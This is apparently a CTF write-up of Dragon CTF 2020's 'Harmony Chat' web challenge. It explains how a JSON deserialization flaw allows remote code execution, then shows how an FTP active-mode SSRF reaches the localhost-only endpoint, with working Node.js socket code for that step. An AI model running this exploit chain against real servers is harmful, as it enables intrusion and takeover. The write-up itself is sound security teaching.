Dragon CTF 2020 - 'Harmony Chat' writeup (web)

 Date: November 27, 2020

Note: All the related files that are mentioned in this post can be found here.

Category: Web

Difficulty: Hard

The task:

img0

This one took me so long(+48 hours after the CTF ended) but it was def worth it.

To the CTF organizers: thanks for keeping the challenges live!

Analysis

Overview

We were given a chat application:

img1

In this chat, you can:

  • Register with a /register command.
  • Login with /login
  • Create your own channel
  • Invite other users

All of those actions were implemented using a websocket server.

The app also provides an abillity to see the channel’s logs via HTTP(if you click on the “Logs[HTTP]” button):

img2

Another option is provided, which allows you to view the channel logs using FTP via port 3321. The result from the FTP server has the same format as the one in the screenshot above( username + : + message followed by a newline)

The csp-report endpoint.

Every time you click on Logs[HTTP] , the browser will issue the following request in the background:

img3

The POST parameters are validated by a method called validateAndDecodeJSON. This method is using an ajv npm module to validate our input and prevent (possibly) malformed input using REPORT_SCHEMA.

try {
    const report = utils.validateAndDecodeJSON(data, REPORT_SCHEMA)
    console.error(generateTextReport(report["csp-report"]))
} catch (error) {
    console.warn(error)
    return
}

However, it was found that the validation schema does not validate all of the parameters properly, which allows us to control part of the JSON structure.

Solution

Inside validateAndDecodeJSON there is a de-serialization vulnerabillity(in the last line):

const json = require("javascript-serializer")

const utils = {}

utils.validateAndDecodeJSON = (data, jsonSchema) => {
  const decoded = JSON.parse(data)

  const result = ajv.validate(jsonSchema, decoded)
  if (!result) {
    throw ajv.errorsText()
  }

  return json.fromJSON(decoded)
}

If we combine this issue + the loose ajv validation schema, we can override important methods of objects.

img4

Note: More background about the javascript-serializer module and the way it’s serializing objects can be found here

Instead of adding our own property(like in the screenshot above), we will use a parameter called line-number.

To achieve RCE, we’ll override the toString method of the line-number property.

The toString method is a good candidate because later in the code, the app is doing a lot of string concatenations(which, will trigger toString):

img5

Result:

img5

Nice!

Now, the next part of the challenge begins:

The vulnerable de-serialization is executed only if the request has arrived from localhost.

const isLocal = (req) => {
  const ip = req.connection.remoteAddress
  return ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1"
}
// ...
if (!isLocal(req)) {
    return
}

To overcome this, we’ll need an SSRF vulnerabillity.

SSRF can be triggered using the FTP service of the Harmony Server(running on port 3321) which supports Active Mode)

img6

Time to pwn

This is splitted into two steps:

  • Step 1 - Creating a channel with users & history that looks like an HTTP request
    • The history will be saved as a file in the FTP server
  • Step 2 - Connect to the FTP server and make it act on active mode while we’re requesting our malicious channel’s history.

Step 1

Create multiple users and construct a chat history that look-alike an HTTP request:

img7

img8

Step 2

Triggering the SSRF using the PORT and RETR commands (full exploit can be found at solve.js)

async function ftp_pwn(userId, channelId) {
    return new Promise( (resolve, reject) => {
        let client = new net.Socket();
        client.connect(HARMONY_FTP_PORT, HARMONY_SERVER, () => {
            console.log(`Connected to ${HARMONY_FTP_PORT}`);
        });

        client.on('data', function(data) {
            console.log('Received: ' + data);
            if(data.includes('ready')) {
                client.write(`user ${userId}`);
            }
            else if(data.includes('need password')) {
                client.write('pass '); // no password
            }
            else if(data.includes('logged in, proceed.')) {
                client.write('PORT 127,0,0,1,13,52')
            }
            else if(data.includes('200 OK')) {
                client.write(`RETR ${channelId}`)
                resolve('ftp -> pwned');
            }
        });

        client.on('close', function() {
            console.log('Connection closed');
        });
    });
}

then, pop a shell & cat the flag :D

img9

img10

 Tags:  ctf web websocket ftp

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